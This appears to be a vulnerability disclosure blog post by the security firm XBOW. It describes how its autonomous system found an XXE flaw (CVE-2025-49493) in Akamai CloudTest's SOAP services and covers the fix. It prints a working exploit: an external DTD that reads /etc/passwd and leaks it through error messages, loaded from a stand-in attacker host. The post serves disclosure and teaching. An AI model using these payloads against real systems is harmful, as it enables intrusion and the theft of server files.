Last week, XBOW shared insights on how it climbed to the #1 spot on HackerOne’s US leaderboard, detailing the strategies behind its fully autonomous vulnerability discovery process. In parallel, we published technical details on a Palo Alto GlobalProtect XSS vulnerability, a bug that had remained undisclosed despite the widespread use of the affected software.

This post adds to that series with yet another critical vulnerability, autonomously discovered by XBOW, further proving its ability to detect high-impact bugs across diverse targets.

Discovery Phase: Finding the Target

XBOW recently discovered an XXE vulnerability in Akamai CloudTest that turned out to be pretty interesting. Finding vulnerabilities in products from major players like Akamai always gets our attention. What made this discovery more interesting was checking the usual search engines that catalogs internet-connected devices and discovering numerous deployments in the wild, including several operated by companies running active bug bounty programs. This is a promising start by any measure.

XBOW’s comprehensive testing approach includes thorough checks for vulnerabilities such as XSS, SSRF, XXE, command injection, SQL injection, cache poisoning, and a variety of other common security issues. As XBOW began navigating through the application, it systematically explored each endpoint, prioritizing the most interesting endpoints and investigating them deeper for potential vulnerabilities.

The initial request to the webroot redirected to /concerto/, revealing the Akamai CloudTest interface. Having identified the target, XBOW rolled up its sleeves and began the systematic process of testing every discovered endpoint for potential weaknesses.

SOAP Endpoint Analysis

Things got interesting when XBOW discovered /concerto/services/RepositoryService - a SOAP endpoint that immediately caught its attention. SOAP services are always worth poking at since XML + user input often equals XXE opportunities.

XBOW kicked off testing with some basic XXE payloads via POST requests. The server threw back 500 Internal Server Errors, which actually wasn’t bad news - it meant the server expected proper SOAP formatting but was definitely parsing the XML input.

The real breakthrough came with this error message:

Illegal character (NULL, unicode 0) encountered: not valid in any content at [row,col,system-id]: [1,25,"file:/proc/self/environ"]

This was exactly what XBOW was after. The server had tried to parse /proc/self/environ as XML content and choked on the null bytes separating environment variables. The system-id showing "file:/proc/self/environ" was solid proof that the external entity reference was being processed.

Now XBOW had confirmation of XXE, but it needed to figure out how to extract useful data. There are three main approaches:

1. In-band: Data appears directly in the response
2. Out-of-band: Data gets sent to an external server
3. Error-based: Data appears in error messages

Refining the Attack

With a confirmed XXE vulnerability, the game shifted to actually extracting useful data from the server. XBOW dove into the WSDL files to understand how legitimate requests should look and started crafting proper SOAP requests with XXE payloads smuggled in as parameters.

The first few attempts hit walls. The CDATA approach failed because CDATA sections are entity expansion killers; they treat everything as literal text rather than processing entities. Classic XML behavior, but frustrating when you’re trying to make entities do your bidding.

So XBOW adapted, switching to an error-based approach using parameter entities in a nested structure. The idea was to create intentionally malformed XML that would trick the parser into including sensitive data when it complained about parsing failures.

Out-of-Band Testing

Error-based approach didn’t provide any clean file content, therefore, XBOW switched to out-of-band testing using its Interactsh server (a tool used for detecting out of band vulnerabilities).

After a few attempts, XBOW got what it was looking for - an HTTP request hit our external server. This confirmed three important things:

• External entities were definitely being processed
• The server could make outbound HTTP requests
• We were dealing with Java/1.8.0_382

The next step was to host a DTD file on XBOW’s hosting service to see if the vulnerable server would actually fetch external DTDs. Sure enough, our logs lit up with a successful request:

This confirmed that external DTD fetching was working.

The Working Exploit

After some trial and error, XBOW found the sweet spot by combining external DTD hosting with error-based XXE. Instead of cramming all the XXE logic into the main XML request (which kept failing), the solution was to split the attack into two parts:

1. Host an external DTD containing the error-based XXE logic
2. Reference this DTD from the main XML request
3. Let the external DTD handle file reading and error generation

External DTD content:

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % error_based_xxe "<!ENTITY &#x25; exfil SYSTEM 'file:///nonexistent/%payload;'>">
%error_based_xxe;
%exfil;

Main XML request:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soapenv:Envelope [
  <!ENTITY % dtd SYSTEM "http://INTERACT_SERVER/evil.dtd">
  %dtd;
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header/>
  <soapenv:Body>
    <trigger/>
  </soapenv:Body>
</soapenv:Envelope>

This approach works by having the external DTD attempt to read /etc/passwd, then try to access a non-existent file path that includes its contents. When the server inevitably can’t find this constructed path, it generates an error message containing the file data we’re after.

A major breakthrough! XBOW successfully uncovered and exploited an XML External Entities (XXE) vulnerability, gaining access to the server and exfiltrating the contents of the /etc/passwd file. As soon as the issue was confirmed, XBOW promptly notified Akamai and all impacted customers to ensure swift remediation.

Additional Endpoints

As XBOW continued exploring, it became clear this wasn’t a single-endpoint issue. The vulnerability showed up across multiple SOAP endpoints such as:

• /concerto/services/CollectorService
• /concerto/services/Concerto
• /concerto/services/SampleService

Most endpoints under /concerto/services appeared to be vulnerable to the same XXE attack and XBOW was able to find them all.

Resolution and Response

This vulnerability has been assigned CVE-2025-49493 and is now fixed across all Akamai CloudTest instances. The fix disables DTD processing entirely, preventing XXE attacks at the parser level.

A huge shoutout to the Akamai security team for their outstanding collaboration. Their response was professional, timely, and highly effective. From the moment we initiated disclosure, they remained engaged and communicative, rolled out fixes swiftly across their infrastructure, and fully supported the responsible publication of this technical deep dive. Working with a team so committed to security excellence made all the difference.

To wrap up, this finding highlights how even mature products can harbor overlooked vulnerabilities—especially in legacy components like SOAP services. CVE-2025-49493 wasn’t complex to exploit, but discovering it reinforced why we built XBOW.

This vulnerability is just one of many recent discoveries from our ongoing research across protocols, technologies, and attack surfaces. Stay tuned—more deep dives and findings are on the way.